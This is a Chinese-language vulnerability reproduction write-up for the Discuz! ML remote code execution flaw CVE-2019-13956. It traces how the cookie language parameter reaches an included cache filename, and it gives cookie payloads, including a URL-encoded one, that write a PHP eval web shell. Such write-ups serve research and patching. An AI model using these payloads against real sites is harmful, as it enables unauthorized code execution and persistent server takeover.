Discuz! ML遠程代碼執行(CVE-2019-13956)

Discuz! ML遠程代碼執行(CVE-2019-13956)php

1、漏洞描述git

該漏洞存在discuz ml(多國語言版)中,cookie中的language可控而且沒有嚴格過濾,致使能夠遠程代碼執行。github

2、漏洞影響版本shell

Discuz! ML V3.2瀏覽器

Discuz! ML V3.3緩存

Discuz! ML V3.4cookie

3、漏洞環境搭建函數

一、 官網下載Discuz! ML V3.4,下載地址: http://discuz.ml/download工具

二、 將壓縮包解壓到phpstudy網站根目錄,瀏覽器訪問upload目錄開始安裝測試

  

三、而後就是一直點擊下一步就能夠了,直到完成安裝

  

4、漏洞復現

一、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函數處理’diy:portal/index’,而後使用include_once包含

  

二、跟進template函數,發現把DISCUZ_LANG函數拼接成爲一個緩存文件名,而後又返回了緩存文件名

  

三、跟進DISCUZ_LANG函數,發現從cookie中取language的值給$lng

  

四、繼續瀏覽代碼,發現把$lng的值賦給DISCUZ_LANG了

  

五、到此爲止,整個漏洞分析過程已結束,過程以下:

外部參數$lng(即cookie中的language語言)可控,致使DISCUZ_LANG函數獲取$lng,而後拼接成緩存文件而且返回了緩存文件名,致使template函數生成的緩存文件名可控,插入本身的代碼,最終include_once函數包含一下致使了代碼注入(執行了插入惡意代碼的緩存文件名)。

六、測試漏洞,隨便點擊一個頁面,抓包,將Cookie中的xxx_language參數值改成’.phpinfo().’,發現成功執行了代碼

  

七、查看緩存文件,發現緩存文件名被修改以下

  

八、getshell

8.1嘗試上傳一個shell,構造payload,以下:

'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'

執行提示錯誤,多是編碼的緣由

  

8.二、嘗試對payload進行所有編碼,失敗,只有使用以下payload才能成功

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

  

8.三、查看是否成功上傳shell.php,發現成功上傳

  

8.四、菜刀鏈接

  

 

 

 

----------------------------------------------------------------------------------------

工具檢測:https://github.com/theLSA/discuz-ml-rce

參考: https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21#wechat_redirect

相關文章
相關標籤/搜索